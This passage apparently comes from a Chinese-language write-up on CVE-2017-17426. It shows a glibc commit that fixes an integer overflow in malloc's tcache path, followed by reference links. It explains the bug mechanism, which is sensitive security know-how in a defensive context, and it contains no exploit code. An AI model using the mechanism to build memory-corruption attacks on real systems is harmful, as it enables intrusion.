$ git show 34697694e8a93b325b18f25f7dcded55d6baeaf6 malloc/malloc.c | cat
|
||
commit 34697694e8a93b325b18f25f7dcded55d6baeaf6
|
||
Author: Arjun Shankar <arjun@redhat.com>
|
||
Date: Thu Nov 30 13:31:45 2017 +0100
|
||
|
||
Fix integer overflow in malloc when tcache is enabled [BZ #22375]
|
||
|
||
When the per-thread cache is enabled, __libc_malloc uses request2size (which
|
||
does not perform an overflow check) to calculate the chunk size from the
|
||
requested allocation size. This leads to an integer overflow causing malloc
|
||
to incorrectly return the last successfully allocated block when called with
|
||
a very large size argument (close to SIZE_MAX).
|
||
|
||
This commit uses checked_request2size instead, removing the overflow.
|
||
|
||
diff --git a/malloc/malloc.c b/malloc/malloc.c
|
||
index 79f0e9eac7..0c9e0748b4 100644
|
||
--- a/malloc/malloc.c
|
||
+++ b/malloc/malloc.c
|
||
@@ -3031,7 +3031,8 @@ __libc_malloc (size_t bytes)
|
||
return (*hook)(bytes, RETURN_ADDRESS (0));
|
||
#if USE_TCACHE
|
||
/* int_free also calls request2size, be careful to not pad twice. */
|
||
- size_t tbytes = request2size (bytes);
|
||
+ size_t tbytes;
|
||
+ checked_request2size (bytes, tbytes);
|
||
size_t tc_idx = csize2tidx (tbytes);
|
||
|
||
MAYBE_INIT_TCACHE ();
|
||
```
|
||
|
||
## 参考资料
|
||
|
||
- [thread local caching in glibc malloc](http://tukan.farm/2017/07/08/tcache/)
|
||
- [MallocInternals](https://sourceware.org/glibc/wiki/MallocInternals)
|
||
- [CVE-2017-17426](https://sourceware.org/bugzilla/show_bug.cgi?id=22375)
|
||
- [CVE-2017-17426 Detail](https://nvd.nist.gov/vuln/detail/CVE-2017-17426)
|